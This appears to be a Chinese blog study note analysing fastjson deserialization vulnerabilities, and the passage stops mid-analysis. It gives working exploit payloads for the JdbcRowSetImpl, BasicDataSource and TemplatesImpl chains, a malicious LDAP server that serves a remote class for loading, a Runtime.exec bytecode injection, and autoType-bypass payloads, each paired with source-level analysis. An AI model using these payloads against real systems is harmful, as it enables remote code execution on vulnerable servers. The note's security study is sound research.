fastjson反序列化

相关的漏洞实在是太多了,只能学习一部分,其余的就附加上了poc

背景

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson是一个全程开源的项目,项目链接 https://github.com/alibaba/fastjson/

Fastjson提供了对json数据的高效处理

JSON 字符串转换为 Java 对象

fastjson提供了JSON.parseObject()方法。可以将一个json字符串转化为java对象

我们可以看一下这个方法

image-20240207162116375

然后会触发parse方法

image-20240207162343062

然后会使用autoType实例化具体的类,调用相关的set/get方法访问相关的属性。

parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。

不过这里的get/set方法存在一点要求

image-20240207164705145

AutoType

FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的

假设我们有一个这样的接口

1
2
3
4
5
package org.example.fastjson;

public interface ctf {
}

然后我们构建一个这样的类实现这个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.fastjson;

public class web implements ctf{
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

我们再设置一个类包含这些东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.fastjson;

public class autotype {
private ctf ctf;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

private String name;


public org.example.fastjson.ctf getCtf() {
return ctf;
}

public void setCtf(org.example.fastjson.ctf ctf) {
this.ctf = ctf;
}
}

我们尝试直接转换成json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class tostring {
public static void main(String[] args) {
autotype auto = new autotype();
web test=new web();
test.setName("AsaL1n");
auto.setCtf(test);
// auto.setWeb(test);
auto.setName("json");
String jsonString = JSON.toJSONString(auto);
System.out.println(jsonString);
}
}

这里使用的fastjson版本是(1.2.24)

转换为json结果如下

image-20240207203336687

但是当我们反序列化的时候就会出现一个问题

获取正常的autotype类里面的name参数的时候不会出现问题,但是当我们尝试获取这个web对象的时候就出现问题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class tostring {
public static void main(String[] args) {
autotype auto = new autotype();
web test=new web();
test.setName("AsaL1n");
auto.setCtf(test);
// auto.setWeb(test);
auto.setName("json");
String jsonString = JSON.toJSONString(auto);
System.out.println(jsonString);
autotype auto2 =JSON.parseObject(jsonString, autotype.class);
System.out.println(auto2.getName());
web test2=(web)auto2.getCtf();
System.out.println(test2.getName());

}
}

image-20240207203514169

原因是当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

不过json给出了属于他自己的方法SerializerFeature.WriteClassName

我们如果这样构造json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class tostring {
public static void main(String[] args) {
autotype auto = new autotype();
web test=new web();
test.setName("AsaL1n");
auto.setCtf(test);
// auto.setWeb(test);
auto.setName("json");
String jsonString = JSON.toJSONString(auto, SerializerFeature.WriteClassName);
System.out.println(jsonString);
autotype auto2 =JSON.parseObject(jsonString, autotype.class);
System.out.println(auto2.getName());
web test2=(web)auto2.getCtf();
System.out.println(test2.getName());

}
}

这样序列化之后就不会出现问题

image-20240207203659104

@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型

这就是autotype

fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。

这也就是那么多漏洞的来源

image-20240207203834416

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

fastjson<=1.2.24

此版本及其之前的版本 Autotype默认开启,同时没有开启任何的限制

JdbcRowSetImpl链

利用条件

1
2
3
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
出网

要求Json.parse(input)的参数可控

evil.class

image-20240214140658579

poc
1
2
3
4
5
6
7
8
9
10
11
12
package org.example.fastjson.JdbcRowSetImpl;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImpl_poc {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}";
JSON.parse(PoC);

}
}

ldap_server

使用上次那个脚本起一个ldap服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package org.example.fastjson.JdbcRowSetImpl;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class ldap {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#evil"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}


成功rce

测试版本1.2.23,jdk为8u66

image-20240214141741198

分析

调试中的调用栈

image-20240214141912304

在fastjson构建这个对象的时候,会使用autoType实例化具体的类,调用相关的set/get方法访问相关的属性

在JdbcRowSetImpl这个类里面存在函数setAutoCommit

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

在这里会调用connect()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

可以看到这里存在一个lookup方法,成功触发了外面的ladp注入

BasicDataSource链

上面的链子需要出网才能访问我们恶意的rmi服务端或者ladp服务端,下面这个链子就不存在这问题

在pom.xml上添加相关的依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>

利用条件

1
需要引入tomcat依赖

poc

这里使用Aiwin师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example.fastjson.JdbcRowSetImpl;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class BasicDataSource_poc {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\fastjson\\JdbcRowSetImpl\\evil.class");
String code = Utility.encode(bytes,true);
System.out.println(code);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}

private static byte[] convert(String filePath) throws IOException {
File file = new File(filePath);

if (!file.exists()) {
throw new FileNotFoundException("文件未找到:" + filePath);
}
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;

while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}

return byteOutput.toByteArray();
}
}
}


拿到的字符串是这样的

1
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$+evilcode","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}

分析

漏洞的触发点在com.alibaba.fastjson.util.FieldInfo的get方法

image-20240214191053890

这里的object对象是BasicDataSouce,会调用BasicDataSouce里面的getter方法

其中存在了一个getConnection方法

image-20240214191350216

触发createDataSource方法

image-20240214191545078

触发这个createConnectionFactory方法

image-20240214191814261

这里的driverClassName和driverClassLoader都是可控的

把我们的恶意字节码加载进去,指定BCEL类加载

完整调用栈如下

image-20240214191843684

TemplatesImpl链

利用条件

1
2
3
服务端使用parseObject()时,使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

利用思路与7u21类似

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example.fastjson.TemplatesImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class TemplatesImpl {
public static class test{}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(calc);";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "hello" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}

image-20240214195117156

分析

调试一下代码看看

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze中通过一个循环不断的获取我们传入的json的内容

image-20240215141011672

可以看到这里已经获取到了我们的outputproperties

image-20240215141850301

在这里调用了parseField方法,这里的key即我们传入的_bytecode

image-20240215142007490

触发smartMatch方法,我们继续跟进去看看

image-20240215142307664

判断是否为_bytecodes,是则替换成bytecodes

image-20240215142341845

然后触发parseField函数

image-20240215145336759

进入到parseField方法

image-20240215145406534

这里的setvalue方法中,object是我们的TemplatesImpl,value是我们的字节码。

这个过程会在JavaBeanDeserializer循环进行,知道获取所有的json字段

我们的json字段中有_outputProperties复合要求,就会触发getoutputProperties方法

1
2
3
4
5
6
7
8
9
 public synchronized Properties getOutputProperties() {
try {
//调用newTransformer方法
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在newTransformer内部调用了getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
//调用了getTransletInstance方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

_class值为null,这里就会加载我们的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
  private void defineTransletClasses() throws TransformerConfigurationException {
//校验_bytecodes
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
//通过_tfactory调用getExternalExtensionsMap方法
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
//加载_bytecodes中的类(TempletaPoc)
_class[i] = loader.defineClass(_bytecodes[i]);
//获取TempletaPoc的父类
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
//是否继承了AbstractTranslet类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

然后就调用newInstance实例化我们的类触发poc

autoTypeSupport

在fastjson=>1.2.25之后默认autoTypeSupport属性为false

并且多了一个checkautotype的函数(1.2.25)

image-20240215185554692

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

static {
String property = IOUtils.getStringProperty("fastjson.parser.deny");
DENYS = splitItemsFormProperty(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport");
AUTO_SUPPORT = "true".equals(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept");
String[] items = splitItemsFormProperty(property);
if (items == null) {
items = new String[0];
}

AUTO_TYPE_ACCEPT_LIST = items;
global = new ParserConfig();
awtError = false;
jdk8Error = false;
}
  1. 当autoTypeSupport没有开启的时候,会先判断是否开启autotype,如果没有开启,就会判断是否存在了期望类
  2. 如果 className 符合期望,就加载对应的类,并进行类型匹配检查。
  3. 如果期望中找到匹配项,尝试从类型映射中获取类,如果仍未找到,则从自定义的反序列化器(deserializers)中查找。
  4. 找到了类就进行与期望类的匹配检查,如果不匹配则抛出 JSONException 异常。

这里对加载的类进行了严格的要求,在autotype默认关闭的情况下,我们使用的类虽然不在黑名单上,但也并不在checkAutotype安全机制白名单上,无法被加载

image-20240215184627957

Mapping缓存

在fastjson中,mappings是一个用于储存一些基础的类,提高我们序列化的效率

image-20240215185736598

在这里添加了加快效率的基础类

调试

我们先调普通的链子,版本是1.2.25,未开启autotype

在fastjson解析这个字符串为对象的时候,会触发一个getclassFromMapping

image-20240215191336223

尝试从这个mappings集合里面寻找到我们传入的类,这里是BasicDataSource这个

显然没有这个类,所以返回了null

image-20240215191947811

进入下面的autotypep判断(默认为false)

image-20240215192209795

判断是黑名单里面的类,直接抛出了

如果我们能将恶意的类储存到mapping集合里面,就能完成绕过了

autoTypeSupport绕过

利用条件

fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。

fastjson1.2.33-1.2.47版本:

poc

jdbcRowSetlmpl链

1
2
PoC="{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/evil\",\"autoCommit\":true}}";

BasicDataSource链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String ParsePayload2 = "{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
"{" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
"\"xxx\":{"+
"\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$...\"" +
"}" +
"}:\"aaa\""+
"}";

此利用连版本要求比较麻烦

1.2.25~1.2.32之间用不了BasicDataSource链

1.2.37以上不行

通杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
"{" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
"\"xxx\":{"+
"\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$...\"" +
"}" +
"}:{\"aaa\":\"bbb\"}"+
"}";

分析

首先前面的逻辑里面,在mapping寻找是否有这个类,和在黑名单里面寻找这个类,并不是同时进行的

image-20240215194904760

但是当我们传入的类是java.lang.class的时候,依然是返回了null

image-20240215195046694

由于这个类是存在在白名单里面的,所以通过了check,java.lang.Class类对象被返回到checkAutoType中并赋值给clazz,checkAutoType方法将clazz返回

然后继续执行下去

image-20240215195750014

进入了Misccodec.class的deserialze方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {
if (lexer.token() == 8) {
lexer.nextToken();
return null;
} else {
parser.accept(12);
InetAddress address = null;
int port = 0;

while(true) {
className = lexer.stringVal();
lexer.nextToken(17);
if (className.equals("address")) {
parser.accept(17);
address = (InetAddress)parser.parseObject(InetAddress.class);
} else if (className.equals("port")) {
parser.accept(17);
if (lexer.token() != 2) {
throw new JSONException("port is not int");
}

port = lexer.intValue();
lexer.nextToken();
} else {
parser.accept(17);
parser.parse();
}

if (lexer.token() != 16) {
parser.accept(13);
return new InetSocketAddress(address, port);
}

lexer.nextToken();
}
}
} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}

if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}

lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}

String strVal;
if (objVal == null) {
strVal = null;
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject && clazz == Map.Entry.class) {
JSONObject jsonObject = (JSONObject)objVal;
return jsonObject.entrySet().iterator().next();
}

throw new JSONException("expect string");
}

strVal = (String)objVal;
}

if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
return UUID.fromString(strVal);
} else if (clazz == URI.class) {
return URI.create(strVal);
} else if (clazz == URL.class) {
try {
return new URL(strVal);
} catch (MalformedURLException var9) {
throw new JSONException("create url error", var9);
}
} else if (clazz == Pattern.class) {
return Pattern.compile(strVal);
} else if (clazz == Locale.class) {
String[] items = strVal.split("_");
if (items.length == 1) {
return new Locale(items[0]);
} else {
return items.length == 2 ? new Locale(items[0], items[1]) : new Locale(items[0], items[1], items[2]);
}
} else if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return dateFormat;
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
return new File(strVal);
} else if (clazz == TimeZone.class) {
return TimeZone.getTimeZone(strVal);
} else {
if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType)clazz;
clazz = parmeterizedType.getRawType();
}

if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
} else if (clazz == Charset.class) {
return Charset.forName(strVal);
} else if (clazz == Currency.class) {
return Currency.getInstance(strVal);
} else if (clazz == JSONPath.class) {
return new JSONPath(strVal);
} else {
className = clazz.getTypeName();
if (className.equals("java.nio.file.Path")) {
try {
if (method_paths_get == null && !method_paths_get_error) {
Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths");
method_paths_get = paths.getMethod("get", String.class, String[].class);
}

if (method_paths_get != null) {
return method_paths_get.invoke((Object)null, strVal, new String[0]);
}

throw new JSONException("Path deserialize erorr");
} catch (NoSuchMethodException var11) {
method_paths_get_error = true;
} catch (IllegalAccessException var12) {
throw new JSONException("Path deserialize erorr", var12);
} catch (InvocationTargetException var13) {
throw new JSONException("Path deserialize erorr", var13);
}
}

throw new JSONException("MiscCodec not support " + className);
}
}
} else {
try {
return InetAddress.getByName(strVal);
} catch (UnknownHostException var10) {
throw new JSONException("deserialize inet adress error", var10);
}
}
} else {
return null;
}
}
}

此时我们传入的clazz是前面经过检验的java.lang.class

这段程序首先判断了是否存在val这个字段,然后将val的值取出来放到objVal里面

我们传入的poc里面正好存在val字段,于是将恶意类储存到objVal内

image-20240215200610135

然后将他转化成储存到strVal中

image-20240215200700414

然后就会调用TypeUtils.loadClass处理这个值

image-20240215201105819

查看这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

这里利用contextClassLoader.loadClass(className)通过名字获取了com.sun.rowset.JdbcRowSetImpl这个类对象

image-20240215201326657

获取完这个类之后,直接就将他添加到mapping这个中去了

下一次再次加载的时候,就能再mapping对象内找到com.sun.rowset.JdbcRowSetImpl这个类,就不会抛出了。

也算是某种程度的污染吧

autoType=true

开启这个之后,绕过方式就是修修补补了

fastjson 1.2.25-1.2.41

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.fastjson.JdbcRowSetImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImpl_poc {
public static void main(String[] args) {
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);

}
}

image-20240215201953992

分析

在1.2.25中,com.sun.rowset.JdbcRowSetImpl被加入了黑名单,不能愉快的rce了

不过存在一个判断

1
2
3
4
